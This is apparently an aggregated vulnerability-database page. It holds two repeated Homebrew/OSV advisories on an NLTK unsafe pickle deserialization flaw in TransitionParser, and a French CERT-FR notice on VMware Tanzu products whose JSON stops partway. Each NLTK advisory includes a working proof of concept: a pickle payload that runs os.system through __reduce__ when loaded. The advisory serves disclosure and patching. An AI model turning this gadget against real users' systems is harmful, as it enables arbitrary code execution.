Vulnerability from osv_homebrew – Published: 2026-09-02 09:04 – Updated: 2026-10-27 09:31 – Source website

Summary

NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Details

Summary

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

Vulnerability chain in nltk/picklesec.py:

def pickle_load(file, *, context=None, restricted=False):
    if restricted:
        return RestrictedUnpickler(file).load()  # Safe: blocks all globals
    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Steps to Reproduce

Environment

NLTK version: 3.8.1+ (all versions with transitionparser.py)
Python 3.6+
No special dependencies required

Reproduction

Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.
Call TransitionParser().parse([], '/path/to/malicious_model.pkl').
The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.
Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from:

model = pickle_load(f)

to:

model = pickle_load(f, restricted=True)

causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

import pickle
import os
from nltk.parse.transitionparser import TransitionParser

# Create malicious pickle with RCE payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/nltk_poc_triggered',))

with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard')      # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely

# Exploit succeeds: file /tmp/nltk_poc_triggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

File	Line	Before	After
`nltk/parse/transitionparser.py`	557	`pickle_load(f)`	`pickle_load(f, restricted=True)`
`nltk/parse/chartparser_app.py`	816	`pickle_load(model_data_file)`	`pickle_load(model_data_file, restricted=True)`
`nltk/parse/chartparser_app.py`	2273	`pickle_load(file)`	`pickle_load(file, restricted=True)`
`nltk/parse/chartparser_app.py`	2311	`pickle_load(fp)`	`pickle_load(fp, restricted=True)`

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().

Severity

9.4 (Critical)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

URL

Type

	https://github.com/nltk/nltk/security/advisories/…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-78683	ADVISORY
	https://github.com/nltk/nltk/pull/3631	WEB
	https://github.com/nltk/nltk/commit/f26b3753038d9…	WEB
	https://github.com/nltk/nltk	PACKAGE
	https://github.com/nltk/nltk/releases/tag/v3.10.0	WEB
	https://github.com/pypa/advisory-database/tree/ma…	WEB
	https://www.vulncheck.com/advisories/nltk-before-…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.4",
        "upstream_fixed_in": "3.10.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "gptline",
        "purl": "pkg:brew/gptline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.8"
            },
            {
              "fixed": "1.0.8_22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.4",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.4"
      }
    ]
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "BREW-gptline-CVE-2026-78683",
  "modified": "2026-10-27T09:31:28Z",
  "published": "2026-09-02T09:04:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
  "upstream": [
    "PYSEC-2026-3734",
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ]
}

BREW-SAFETY-CVE-2026-78683 (PYSEC-2026-3734)

Vulnerability from osv_homebrew – Published: 2026-09-02 09:53 – Updated: 2026-10-29 21:42 – Source website

Summary

NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution

Details

Summary

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

Vulnerability chain in nltk/picklesec.py:

def pickle_load(file, *, context=None, restricted=False):
    if restricted:
        return RestrictedUnpickler(file).load()  # Safe: blocks all globals
    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Steps to Reproduce

Environment

NLTK version: 3.8.1+ (all versions with transitionparser.py)
Python 3.6+
No special dependencies required

Reproduction

Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.
Call TransitionParser().parse([], '/path/to/malicious_model.pkl').
The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.
Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from:

model = pickle_load(f)

to:

model = pickle_load(f, restricted=True)

causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

import pickle
import os
from nltk.parse.transitionparser import TransitionParser

# Create malicious pickle with RCE payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/nltk_poc_triggered',))

with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard')      # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely

# Exploit succeeds: file /tmp/nltk_poc_triggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

File	Line	Before	After
`nltk/parse/transitionparser.py`	557	`pickle_load(f)`	`pickle_load(f, restricted=True)`
`nltk/parse/chartparser_app.py`	816	`pickle_load(model_data_file)`	`pickle_load(model_data_file, restricted=True)`
`nltk/parse/chartparser_app.py`	2273	`pickle_load(file)`	`pickle_load(file, restricted=True)`
`nltk/parse/chartparser_app.py`	2311	`pickle_load(fp)`	`pickle_load(fp, restricted=True)`

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().

Severity

9.4 (Critical)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

URL

Type

	https://github.com/nltk/nltk/security/advisories/…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-78683	ADVISORY
	https://github.com/nltk/nltk/pull/3631	WEB
	https://github.com/nltk/nltk/commit/f26b3753038d9…	WEB
	https://github.com/nltk/nltk	PACKAGE
	https://github.com/nltk/nltk/releases/tag/v3.10.0	WEB
	https://github.com/pypa/advisory-database/tree/ma…	WEB
	https://www.vulncheck.com/advisories/nltk-before-…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.4",
        "upstream_fixed_in": "3.10.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "safety",
        "purl": "pkg:brew/safety"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.1"
            },
            {
              "fixed": "3.8.1_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.4",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.4"
      }
    ]
  },
  "details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027)      # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027)   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
  "id": "BREW-safety-CVE-2026-78683",
  "modified": "2026-10-29T21:42:01Z",
  "published": "2026-09-02T09:53:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3631"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
  "upstream": [
    "PYSEC-2026-3734",
    "CVE-2026-78683",
    "GHSA-rhp5-r9x4-f5g2"
  ]
}

CERTFR-2026-AVI-1486

Vulnerability from certfr_avis - Published: 2026-11-09 - Updated: 2026-11-09

De multiples vulnérabilités ont été découvertes dans les produits VMware. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Impacted products

Vendor	Product	Description
VMware	N/A	VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.2.12
VMware	N/A	VMware Tanzu RabbitMQ versions antérieures à 3.13.21
VMware	N/A	VMware Tanzu Application Platform versions antérieures à 1.12.8
VMware	N/A	VMware Tanzu for Valkey pour Kubernetes versions antérieures à 3.6.0
VMware	N/A	VMware Tanzu for Postgres pour Kubernetes versions antérieures à 4.6.0
VMware	N/A	VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.3.7
VMware	N/A	VMware Tanzu Greenplum versions antérieures à 6.34.0
VMware	N/A	VMware Tanzu RabbitMQ versions antérieures à 4.3.7
VMware	N/A	VMware Tanzu RabbitMQ versions antérieures à 4.1.17
VMware	N/A	VMware Tanzu Greenplum Command Center versions antérieures à 6.18.0
VMware	N/A	VMware Tanzu Greenplum versions antérieures à 7.9.0
VMware	N/A	VMware Tanzu GemFire versions antérieures à 10.2.9
VMware	N/A	VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 3.13.21
VMware	N/A	VMware Tanzu GemFire pour Kubernetes versions antérieures à 2.6.4
VMware	N/A	VMware Tanzu Greenplum MCP Server versions antérieures à 1.1.0
VMware	N/A	VMware Tanzu GemFire versions antérieures à 10.1.10
VMware	N/A	VMware Tanzu Greenplum Platform Extension Framework versions antérieures à 8.1.0
VMware	N/A	VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.1.17
VMware	N/A	VMware Tanzu RabbitMQ versions antérieures à 4.2.12
VMware	N/A	VMware Tanzu for MySQL pour Kubernetes versions antérieures à 2.0.6
VMware	N/A	VMware Tanzu GemFire versions antérieures à 10.3.3
VMware	N/A	VMware Tanzu GemFire Management Console versions antérieures à 1.5.0
VMware	N/A	VMware Tanzu Data Flow pour Kubernetes versions antérieures à 2.1.7
VMware	N/A	VMware Tanzu Greenplum Streaming Server versions antérieures à 2.4.0
VMware	N/A	VMware Tanzu GemFire Vector Database versions antérieures à 1.2.3
VMware	N/A	VMware Tanzu Greenplum Data Copy Utility versions antérieures à 2.9.8
VMware	N/A	VMware Tanzu Greenplum pour Kubernetes versions antérieures à 1.2.0
VMware	N/A	VMware Tanzu Greenplum Command Center versions antérieures à 7.8.0
VMware	N/A	VMware Tanzu GemFire .NET Client versions antérieures à 1.0.3
VMware	N/A	VMware Tanzu Greenplum Backup and Restore versions antérieures à 1.34.0
VMware	N/A	Vmware Spring Cloud Gateway pour Kubernetes versions antérieures à 2.3.0
VMware	N/A	VMware Tanzu GemFire Session Management versions antérieures à 2.0.1
VMware	N/A	VMware Tanzu Greenplum Text versions antérieures à 4.1.0
VMware	N/A	VMware Tanzu Greenplum Streaming Server versions antérieures à 1.4.0
VMware	N/A	SQL Assistant for VMware Tanzu Data Intelligence versions antérieures à 1.1.0

References

Title

Publication Time

Tags

Bulletin de sécurité VMware 39550	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39545	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39539	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39534	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39548	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39536	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39544	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39549	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39522	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39530	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39537	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39533	2026-11-06	vendor-advisory
Bulletin de sécurité VMware DSA-2026-24	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39518	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39542	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39517	2026-11-06	vendor-advisory
Bulletin de sécurité VMware DSA-2026-24	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39528	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39514	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39523	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39516	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39551	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39525	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39543	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39541	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39540	2026-11-06	vendor-advisory
Bulletin de sécurité VMware DSA-2026-24	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39527	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39519	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39546	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39521	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39538	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39529	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39535	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39515	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39531	2026-11-06	vendor-advisory
Bulletin de sécurité VMware 39532	2026-11-06	vendor-advisory

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.2.12",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 3.13.21",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Application Platform versions ant\u00e9rieures \u00e0 1.12.8",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu for Valkey pour Kubernetes versions ant\u00e9rieures \u00e0 3.6.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu for Postgres pour Kubernetes versions ant\u00e9rieures \u00e0 4.6.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.3.7",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 6.34.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.3.7",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.1.17",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 6.18.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 7.9.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.2.9",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 3.13.21",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu GemFire pour Kubernetes versions ant\u00e9rieures \u00e0 2.6.4",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum MCP Server versions ant\u00e9rieures \u00e0 1.1.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.1.10",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum Platform Extension Framework versions ant\u00e9rieures \u00e0 8.1.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.1.17",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.2.12",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu for MySQL pour Kubernetes versions ant\u00e9rieures \u00e0 2.0.6",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.3.3",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
